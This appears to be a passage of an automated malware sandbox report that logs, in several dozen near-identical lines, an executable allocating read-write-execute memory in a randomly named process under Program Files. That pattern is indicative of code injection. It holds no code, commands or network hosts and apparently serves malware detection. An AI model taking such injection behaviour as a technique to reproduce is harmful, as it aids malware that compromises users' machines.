                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2540000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2590000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2910000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: EE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: F30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C20000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2430000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2480000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 800000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2820000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2970000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BB0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BC0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1340000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1350000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DB0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1280000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1290000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2CF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2370000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2170000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2180000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2BB0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2C00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2450000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 24A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2DC0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1310000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1320000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 980000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 990000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1100000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1110000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 5B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 8D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 920000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 970000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 670000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 10F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: B10000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: B60000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1240000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1250000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1440000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1450000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E70000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2E80000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 25C0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2610000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 29F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2A40000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2F90000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 30E0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2840000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2850000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2650000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 26A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2890000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28A0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 500000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 510000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: DD0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: DE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 28B0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2900000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2CF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2D00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: F00000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 29F0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AF0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 6D0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 720000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1470000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1480000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2AE0000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2B30000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1430000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 1440000 protect: page execute and read and writeJump to behavior
                Source: C:\Users\user\Desktop\a4#Uff09.exeMemory allocated: C:\Program Files (x86)\zLnXpzuRYQKwPncCHXqCjHAJmhYFEtefkaFaJlCdZybqpepDTxHhUUZtzBQOjkpDJwjZrEOoDvQlPsf\WqtAuKQFvMjZFH.exe base: 2870000 protect: page execute and read and writeJump to behavior
